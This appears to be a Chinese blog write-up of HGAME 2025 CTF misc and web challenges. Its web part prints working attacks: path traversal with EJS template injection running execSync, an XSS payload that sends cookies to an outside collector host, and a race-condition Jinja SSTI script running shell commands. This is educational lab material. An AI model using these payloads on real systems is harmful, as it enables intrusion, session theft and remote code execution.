0%

HGAME2025(部分)

前言

寒假在家参加了hgame2026,题目对我来说还是很有难度的,正好平台还有去年的题目,正好做一下。依旧是web还有misc。本人能力有限只复现出部分题目。

MISC

Hakuya Want A Girl Friend

打开附件是十六进制数据,一眼就是zip文件,010打开

image-20260212193840505

解压时会提醒zip文件损坏,这不是一个正常的压缩包,随波逐流分析在文件末尾还有一段数据,看数据最后

1
2d2872a60000000608e402000040020000524448490d0000000a1a0a0d474e5089

这个89504e是png文件头,把数据逆向一下。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
def process_hex_data(hex_str):
"""
处理十六进制字符串:两个字符为一组,逆向分组后拼接
:param hex_str: 原始十六进制字符串(无空格、连续格式)
:return: 处理后的十六进制字符串
"""
# 1. 校验输入:确保字符串长度为偶数(两个字符一组)
if len(hex_str) % 2 != 0:
raise ValueError("输入数据长度必须为偶数,请检查原始数据格式")

# 2. 按两个字符为一组拆分数据
data_groups = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]

# 3. 逆向分组列表(最后一组移到开头,依次类推)
reversed_groups = data_groups[::-1]

# 4. 拼接逆向后的分组,返回结果
return ''.join(reversed_groups)

def read_file(file_path):
"""
读取文件内容(默认UTF-8编码)
:param file_path: 文件路径
:return: 文件中的字符串内容
"""
try:
with open(file_path, "r", encoding="utf-8") as f:
return f.read().strip() # 去除首尾空白字符(如换行、空格)
except FileNotFoundError:
raise FileNotFoundError(f"未找到文件:{file_path},请检查路径是否正确")
except Exception as e:
raise Exception(f"读取文件失败:{str(e)}")

def save_file(content, output_path="processed_hky_end.txt"):
"""
保存处理结果到文件(默认UTF-8编码)
:param content: 要保存的内容
:param output_path: 输出文件路径(默认保存为当前目录下的 processed_hky_end.txt)
"""
try:
with open(output_path, "w", encoding="utf-8") as f:
f.write(content)
print(f"处理结果已成功保存到:{output_path}")
except Exception as e:
raise Exception(f"保存文件失败:{str(e)}")

# ------------------- 主执行逻辑 -------------------
if __name__ == "__main__":
# 1. 配置文件路径(原始文件路径可根据实际情况修改)
original_file_path = r"E:\新建文件夹\hgame2025\hky_end.txt" # 原始文件路径
output_file_path = r"E:\新建文件夹\hgame2025\processed_hky_end.txt" # 输出文件路径(可自定义)

try:
# 2. 读取原始文件内容
print("正在读取原始文件...")
original_data = read_file(original_file_path)
print(f"原始文件读取成功,数据长度:{len(original_data)} 字符")

# 3. 执行数据处理
print("正在处理数据...")
processed_data = process_hex_data(original_data)
print(f"数据处理完成,处理后长度:{len(processed_data)} 字符")

# 4. 保存处理结果到文件
save_file(processed_data, output_file_path)

except Exception as e:
print(f"执行失败:{str(e)}")

然后将文件导入010,导入十六进制数据,保存为png,随波逐流分析

processed_hky_end-修复高宽

帅哥的下面就是密码:To_f1nd_th3_QQ,解压压缩包得到flag

hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928},这个格式有点小错误

hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}

Invest in hints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Q&A:

“这里的‘Hint #x’是哪个hint?(x替换为你喜欢的非负整数)” -- 由你自己来发现。
“不会出现负收益的中间状态吗?” -- 无舍即无得。但我们保证解出赛题的收益是非负的。
求解本题无需使用暴力枚举。请选手确保在解题过程中不存在暴力枚举行为。

本题不设置血分。自动计算的血分将由工作人员扣除。

每个 Hint 按原串顺序包含以下位(个位代表原串的第一个字符)。

Hint 51: 00001100101001111010000000010010001110100000000000000000001101111000100
Hint 52: 01101000111011000000000101000100001001101100000000010010001110011000000
Hint 53: 10100100000001011000110001001101000010001101011101010110001000000000000
Hint 54: 00001010000010010000100110000100000010000100101100111000001011100000111
Hint 55: 01110010100100100000000000000000011010110011000001111000101100000001000
Hint 56: 01110100001001000010010111101111011101001000100010011001000010011100000
Hint 57: 10000101010000000011000001100101001010110100000110110010001000100011000
Hint 58: 00000111101000001001000001100100100000110000110000101000001101110100000
Hint 59: 01001101001001000000001001001110100000000000001011000100010000101010101
Hint 60: 10010010100110011011100010011001100100100001110010010101001000100001111
Hint 61: 01001000100011000001000000000011010001110001000000101100001000100010100
Hint 62: 00101000010000111000101110000010001000000001000111100010001101001001101
Hint 63: 01000010111010000000010100001010001011000100100010000000000000001000000
Hint 64: 01110110110011000000010000011000000010000000000000111000000010000010001
Hint 65: 01100000000011000110000000010001000000000011001100000110010001011010000
Hint 66: 01110011001000101001100001011000011010000001100010100000011010000001000
Hint 67: 00111011000011000000100100101000100100101000010001100111001000100001000
Hint 68: 01000110010101011100110101110010001111100011010000000101010100000010010
Hint 69: 11111010111000110100010000000010001101111010011010001100000011000001001
Hint 70: 00000010110101100100100011001011011001100000100010011111000011000001101
Hint 71: 00001100001110101000010111001100011100100010011100001010000000001000010
Hint 72: 01100000000011001001011100000101000110111000101100010101111000001010100
Hint 73: 00001000001010010000001101010110110000110111011011100101011110010110000
Hint 74: 01010010100000000111011110001000010110100001000111001101010100000010000
Hint 75: 11010000011000010100001010000111011010100001111010100100100000111110110

这一题也是看了很多文章,也是看懂了其中的问道,不得不感慨一下出题人的脑洞。非常能代表misc特性的一题,出题人牛逼

一开始没有看懂出题人的意思,这里的舍得和负收益说的是啥,如果是在当时的比赛应该就知道题目给了25条提示,并且每一条提示需要花费14分兑换,正好时350分,原本想的时从给的二进制下手分析,发现不行,得不到有效数据。不看提示时根本解不出题目,由于心啊在题目已经归档了,所有的提示都给出来了,先拿第一条提示分析

1
00001100101001111010000000010010001110100000000000000000001101111000100
1
aAug5MkyAzq6Dr2mCALwmH

这里一共有22个字母,同时在上面的数据中也有22个1,同时题目还提及到每个 Hint 按原串顺序包含以下位(个位代表原串的第一个字符)

1
00100011110110000000000000000000101110001001000000001011110010100110000 

按照我们的习惯时从左往有看那就需要把给的提示数据倒过来,每个数据代表的字符就对上了,在第3条和第4条的提示才最明显

1
2
3
k99C7r0gSKaAi91Nxu2mAm4}

hgag5YkACir0QKA9lCumDdH

包含了flag的特征,flag的格式时hgame{xxx},看第四条给的hint,逆向后的

1
11100000111010000011100110100100001000000100001100100001001000001010000

1的数量和字符数量相等,开头的111对应hga,第三条数据开头时1,也就对用flag的最后一个}.也就是flag就在给的提示中,给的提示数据长度都是71,flag的长度都是71,这些1的位置就是提示的字母的位置。那也就可以理解题目中所说的收益就是用尽可能少的分数兑换提示得到flag,如果把全部提示兑换了,那这一题也就没有分数了,感觉也在考验人性啊。

接下来就是要在数据中筛选出几条数据,这些数据组合出每个位置都有1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# 原始数据:键为Hint编号,值为二进制字符串
original_data = {
51: "00001100101001111010000000010010001110100000000000000000001101111000100",
52: "01101000111011000000000101000100001001101100000000010010001110011000000",
53: "10100100000001011000110001001101000010001101011101010110001000000000000",
54: "00001010000010010000100110000100000010000100101100111000001011100000111",
55: "01110010100100100000000000000000011010110011000001111000101100000001000",
56: "01110100001001000010010111101111011101001000100010011001000010011100000",
57: "10000101010000000011000001100101001010110100000110110010001000100011000",
58: "00000111101000001001000001100100100000110000110000101000001101110100000",
59: "01001101001001000000001001001110100000000000001011000100010000101010101",
60: "10010010100110011011100010011001100100100001110010010101001000100001111",
61: "01001000100011000001000000000011010001110001000000101100001000100010100",
62: "00101000010000111000101110000010001000000001000111100010001101001001101",
63: "01000010111010000000010100001010001011000100100010000000000000001000000",
64: "01110110110011000000010000011000000010000000000000111000000010000010001",
65: "01100000000011000110000000010001000000000011001100000110010001011010000",
66: "01110011001000101001100001011000011010000001100010100000011010000001000",
67: "00111011000011000000100100101000100100101000010001100111001000100001000",
68: "01000110010101011100110101110010001111100011010000000101010100000010010",
69: "11111010111000110100010000000010001101111010011010001100000011000001001",
70: "00000010110101100100100011001011011001100000100010011111000011000001101",
71: "00001100001110101000010111001100011100100010011100001010000000001000010",
72: "01100000000011001001011100000101000110111000101100010101111000001010100",
73: "00001000001010010000001101010110110000110111011011100101011110010110000",
74: "01010010100000000111011110001000010110100001000111001101010100000010000",
75: "11010000011000010100001010000111011010100001111010100100100000111110110"
}

# 第一步:将所有二进制字符串倒序处理
reversed_data = {}
for hint_num, binary_str in original_data.items():
reversed_str = binary_str[::-1] # 字符串倒序核心操作
reversed_data[hint_num] = reversed_str

# 第二步:筛选满足条件的二进制串(每个位置都有1)
bit_length = len(next(iter(reversed_data.values()))) # 获取二进制串长度(64位)
covered_bits = [False] * bit_length # 标记每个位是否被覆盖(有1)
selected_hints = [] # 存储选中的Hint编号

# 遍历所有倒序后的二进制串,优先选择覆盖更多未标记位的串
while not all(covered_bits): # 直到所有位都被覆盖
best_hint = None
best_coverage = -1

for hint_num, binary_str in reversed_data.items():
if hint_num in selected_hints:
continue # 跳过已选中的

# 计算当前串能覆盖的未标记位数量
coverage_count = 0
for i in range(bit_length):
if binary_str[i] == '1' and not covered_bits[i]:
coverage_count += 1

# 选择覆盖数最多的串
if coverage_count > best_coverage:
best_coverage = coverage_count
best_hint = hint_num

# 将最优串加入选中列表,并更新覆盖标记
if best_hint is not None:
selected_hints.append(best_hint)
selected_str = reversed_data[best_hint]
for i in range(bit_length):
if selected_str[i] == '1':
covered_bits[i] = True
else:
break # 无可用串(理论上不会触发)

# 输出结果
print("倒序后的部分数据示例(Hint 51):")
print(f"原始: {original_data[51]}")
print(f"倒序: {reversed_data[51]}")
print("\n选中的Hint编号(满足所有位都有1):")
print(selected_hints)

# 验证:检查所有位是否都被覆盖
print("\n验证结果:所有位是否都有1 ->", all(covered_bits))

# 输出选中的倒序后二进制串
print("\n选中的倒序后二进制串:")
for num in selected_hints:
print(f"Hint {num}: {reversed_data[num]}")

image-20260213190840966

找到对应的提示

1
2
3
4
5
6
hgamgko9CLgQSyzti1Dlu8r2mD5wda}
{AuYoACLQa2zq3i691hNlCxrALma42
e{uYMkfo9i7L0gSCKWy3t69DNCbmDLH
megk9CiLrKWyAqi9hN8rELm}
hm5Y9AL0gCaWy2zq6xRmCLEwdHa42}
{AuYoACLQa2zq3i691hNlCxrALma42

根据这6条数据就能拼凑出flag。这里放一张大佬对应好的图

image-20250212153328515

1
hgame{Aug5YMkf3o99ACi7Lr0gQSCKaWy2Azq3ti691DhNlCbxu8rR2mCAD5LEwLdmHa42}

Level 314 线性走廊中的双生实体

附件给的是pt文件,pt文件就可以当作压缩包解压看文件内容,解压后看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class MyModel(Module):
__parameters__ = []
__buffers__ = []
training : bool
_is_full_backward_hook : Optional[bool]
linear1 : __torch__.torch.nn.modules.linear.Linear
security : __torch__.SecurityLayer
relu : __torch__.torch.nn.modules.activation.ReLU
linear2 : __torch__.torch.nn.modules.linear.___torch_mangle_0.Linear
def forward(self: __torch__.MyModel,
x: Tensor) -> Tensor:
linear1 = self.linear1
x0 = (linear1).forward(x, )
security = self.security
x1 = (security).forward(x0, )
relu = self.relu
x2 = (relu).forward(x1, )
linear2 = self.linear2
return (linear2).forward(x2, )
class SecurityLayer(Module):
__parameters__ = []
__buffers__ = []
training : bool
_is_full_backward_hook : Optional[bool]
flag : List[int]
fake_flag : List[int]
def forward(self: __torch__.SecurityLayer,
x: Tensor) -> Tensor:
_0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
if _0:
_1 = annotate(List[str], [])
flag = self.flag
for _2 in range(torch.len(flag)):
b = flag[_2]
_3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
decoded = torch.join("", _1)
print("Hidden:", decoded)
else:
pass
if bool(torch.gt(torch.mean(x), 0.5)):
_4 = annotate(List[str], [])
fake_flag = self.fake_flag
for _5 in range(torch.len(fake_flag)):
c = fake_flag[_5]
_6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
decoded0 = torch.join("", _4)
print("Decoy:", decoded0)
else:
pass
return x

是从 TorchScript 格式的 pt 模型中提取加密的整数列表,再按照模型内置的解密规则还原出字符串形式的 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import torch

try:
model = torch.jit.load("entity.pt", weights_only=False)
print("✅ 模型加载成功(TorchScript格式)")
except Exception as e:
model = torch.load("entity.pt", weights_only=False)
print("✅ 模型加载成功(兼容模式)")

try:
encrypted_flag = model.security.flag
encrypted_fake_flag = model.security.fake_flag
except:
state_dict = model.state_dict()
encrypted_flag = state_dict["security.flag"]
encrypted_fake_flag = state_dict["security.fake_flag"]

if isinstance(encrypted_flag, torch.Tensor):
encrypted_flag = encrypted_flag.tolist()
if isinstance(encrypted_fake_flag, torch.Tensor):
encrypted_fake_flag = encrypted_fake_flag.tolist()

real_flag = "".join([chr(int(b) ^ 85) for b in encrypted_flag])
fake_flag = "".join([chr(int(c) - 3) for c in encrypted_fake_flag])

print("\n🔑 解密结果:")
print(f"真实flag: {real_flag}")
print(f"诱饵flag: {fake_flag}")

print("\n🚀 触发模型打印flag:")
try:
input_dim = model.linear1.in_features
except:
input_dim = 10

input_trigger = torch.full((1, input_dim), 0.31415)
model(input_trigger)

image-20260217194424290

Level 729 易画行

分析附件代码,考察的是区块链的知识,题目中给了一个地址0x74520Ad628600F7Cc9613345aee7afC0E06EFd84,https://sepolia.etherscan.io/网站上搜索一下地址

image-20260221101110537

看最下面的那一条

image-20260221101815231

有两条记录,铸造和转移,一般来说对于一个NFT而言,它的Metadata只会在铸造的

image-20260221102119810

web访问这个地址得到flag

image-20260221102644245

flag{Tr4d1ng_on_t3st_n3t}

WEB

Level 24 Pacman

考察的是前端的题目,禁用了一些快捷方式,先看网页源代码,在url前面加上view-source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<html>
<head>
<meta charset="utf8">
<title>Pac-Man</title>
<link rel="shortcut icon" href="favicon.png">
<link rel="stylesheet" href="./static/style/index.css">
</head>
<body>
<div class="wrapper">
<div class="mod-panel">
<div class="hd"><h1>Pac-Man</h1></div>
<div class="bd">
<canvas id="canvas" width="960" height="640">不支持画布</canvas>
</div>
<div class="ft">
<div class="info">
<p>按 [空格键] 暂停或继续</p>
<p>Press [space] to pause or continue</p>
<p>Powered by passer-by</p>
</div>
</div>
</div>
</div>
<script src="./static/script/game.js"></script>
<script src="./static/script/index.js"></script>
<script async defer src="https://buttons.github.io/buttons.js"></script>
</body>
</html>

关键就在那三个js文件,这里就不放那三个文件了,分析之后就是通关就会得到flag,通关时会执行

1
console.log('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==');

现base64解码然后随波逐流分析

image-20260221192359140

hgame{pratice_makes_perfect},没想到flag是假的。再次压力ai得知这一题有两种flag,是根据游戏结束时的分数还有挑战次数决定回显哪一种flag

SCORE 比较高(通常 > 某个阈值,比如 9999 或 27000 左右,具体取决于剩余生命加成)
→ 显示:
here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==
解码后:haepaiemkspretgm{rtc_ae_efc}
SCORE 比较低(没达到阈值)
→ 显示:
here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
解码后:haeu4epca_4trgm{_r_amnmse}

这一题的flag对应第二种情况

image-20260221193736093

Level 47 BandBomb

首先分析题目给的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

// 设置模板引擎为 EJS
app.set('view engine', 'ejs');

// 静态资源托管:/static 路径映射到项目根目录的 public 文件夹
app.use('/static', express.static(path.join(__dirname, 'public')));
// 解析 JSON 格式的请求体(用于重命名接口接收 JSON 数据)
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
// 检查 uploads 目录是否存在,不存在则创建
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
// 回调函数指定文件上传的目标目录
cb(null, uploadDir);
},
filename: (req, file, cb) => {
// 保留文件原始名称作为上传后的文件名
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
// 校验文件名是否有效
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
// 校验通过,允许上传
cb(null, true);
} catch (err) {
// 捕获异常,拒绝上传
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

// 确保 uploads 目录存在(兜底逻辑)
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

// 读取 uploads 目录下的所有文件
fs.readdir(uploadsDir, (err, files) => {
if (err) {
// 读取失败:返回 500 状态码,渲染 mortis.ejs 模板(空文件列表)
return res.status(500).render('mortis', { files: [] });
}
// 读取成功:渲染 mortis.ejs 模板,传入文件列表
res.render('mortis', { files: files });
});
});
app.post('/rename', (req, res) => {
// 从请求体获取旧文件名和新文件名
const { oldName, newName } = req.body;
// 拼接旧文件和新文件的完整路径
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

// 校验旧文件名/新文件名是否为空
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' }); // ❌ 错误:错误信息为空
}

// 执行文件重命名
fs.rename(oldPath, newPath, (err) => {
if (err) {
// 重命名失败(如文件不存在、权限不足):返回 500 + 错误信息
return res.status(500).json({ error: ' ' + err.message }); // ❌ 错误:前缀多余空格
}
// 重命名成功:返回成功消息(❌ 错误:消息为空)
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

这里主要就是文件重命名,还有ejs模板引擎,先分析这个rename路由实现的是文件重命名,这里拼接文件路径,可以使用../来跳目录,从而实现文件移动,把敏感文件移动到pubilc目录下读取,现测试一下

image-20260228104442696

image-20260228104522226

可以看到成功读取文件内容,flag一般在根目录尝试读取一下

image-20260228104903388

根目录下就没有放flag,那大概率就在环境变量,代码还能实现文件覆盖,并且EJS模板文件命名为mortis,这个命名也算是出题人给的提示把,先上传一个恶意的的ejs文件

1
<%= process.env.FLAG %>

image-20260228112435627

然后直接访问根目录就行

image-20260228114600708

或者

1
<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt") %>

访问static/1.txt

image-20260228114931746

payload参考文章Node.js EJS模板注入SSTI – Acc1oFl4g’s Blog

Level 69 MysteryMessageBoard

弱口令登入,密码是888888

image-20260228144526517

/flag路由有flag,但是需要admin权限,因此要用利用xss获取cookie,这里使用xss平台。payload

1
<script>location.href="https://xs.pe/Hwd.jpg/?cookie="+document.cookie</script>

image-20260228152750422

这里成功获得session,访问/flag,伪造session获得flag,这里还尝试了用服务器接收cookie

image-20260228184613960

依旧可以获得session

Level 38475 角落

扫目录扫到了robots.txt,有个app.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

再根据题目提示考察的是CVE-2024-38475漏洞,读取一下app.py

image-20260228193404105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

代码的漏洞在于

1
2
3
4
5
6
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'

两次调用了readmsg,在这就可以利用条件竞争,一个正常的payload,一个恶意的payload,这里参考大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading
import time
import os

target = 'http://node1.hgame.vidar.club:30593/app'


def race_write():
while True:
# 第一次写入无害内容绕过检查
requests.post(target + '/send', data={'message': 'hello'})
# 立即覆盖为恶意payload
#requests.post(target + '/send', data={'message': "{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls /').read()}}"})
requests.post(target + '/send',
data={'message': "{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}"})


def exploit():
while True:
r = requests.get(target + '/read')
#if 'bin' in r.text: # 检查是否成功执行
if 'hgame' in r.text:
print('Exploit success!')
print(r.text)
os._exit(0)


if __name__ == '__main__':
# 先初始化一个合法内容
requests.post(target + '/send', data={'message': 'hello'})

# 启动竞争写入线程
threading.Thread(target=race_write, daemon=True).start()

# 启动检测线程
threading.Thread(target=exploit, daemon=True).start()

# 保持主线程运行
while True:
time.sleep(1)